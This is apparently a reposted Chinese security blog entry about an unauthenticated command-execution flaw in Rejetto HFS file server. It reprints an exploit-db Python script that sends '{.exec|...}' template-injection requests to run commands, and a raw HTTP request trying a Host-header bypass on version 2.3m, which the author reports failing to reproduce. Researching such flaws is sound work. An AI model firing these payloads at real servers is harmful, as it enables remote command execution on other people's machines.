最近看到一篇文章说HFS最新版本存在未授权命令执行漏洞,参考地址:
https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/
什么是HFS?
Rejetto HFS,这是一个曾经流行的 Windows 文件服务,于 2002 年 8 月首次发布。
大家应该都熟悉,可以看到界面如下:
旧版本版本存在命令执行漏洞,验证脚本地址:
https://www.exploit-db.com/exploits/37985
import socket
url = raw_input("Enter URL : ")
try:
while True:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((url, 80))
cmd = raw_input("Enter command (E.g. calc) or press Ctrl+C to exit : ")
req = "GET /?{.exec|"+cmd+".}"
req += " HTTP/1.1rnrn"
sock.send(req)
sock.close()
print "Done!"
except KeyboardInterrupt:
print "Bye!"
但是目前默认下载的是2.3m版本,使用之前的肯定打不了。
下载:
https://www.rejetto.com/hfs/?f=dl
https://github.com/rejetto/hfs2
漏洞成因就是模板注入,HFS 有自己的模板解析器,是同类中最古老的解析器之一。
作者的复现图片是这样的:
那么我也高兴地下载最新版本复现一下,搭建起来,按照他的url参数干进去连{.exec.}都不解析,宏都不解析,作者的payload怎么执行的?看源代码吧:
正则:result:=reMatch(s, '{[.:]|[.:]}||', 'm!', ofs)
我在想作者怎么绕过的?难道是假的?
虽然能通过host进行绕过执行宏
GET /?n=%0A&index=%00&&cmd=calc&sort={%host%exec%host%} HTTP/1.1
Host: .
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
但是“|”这个真没法搞,只要有这个符号就g。
最后无功而返,只能公众号求助了,如果有哪位大兄弟绕过了,麻烦私信一下,谢谢!
最后建议使用HFS3。
仅限交流学习使用,如您在使用本工具或代码的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。“如侵权请私聊公众号删文”。
原文始发于微信公众号(柠檬赏金猎人):HFS2.3m未授权命令执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论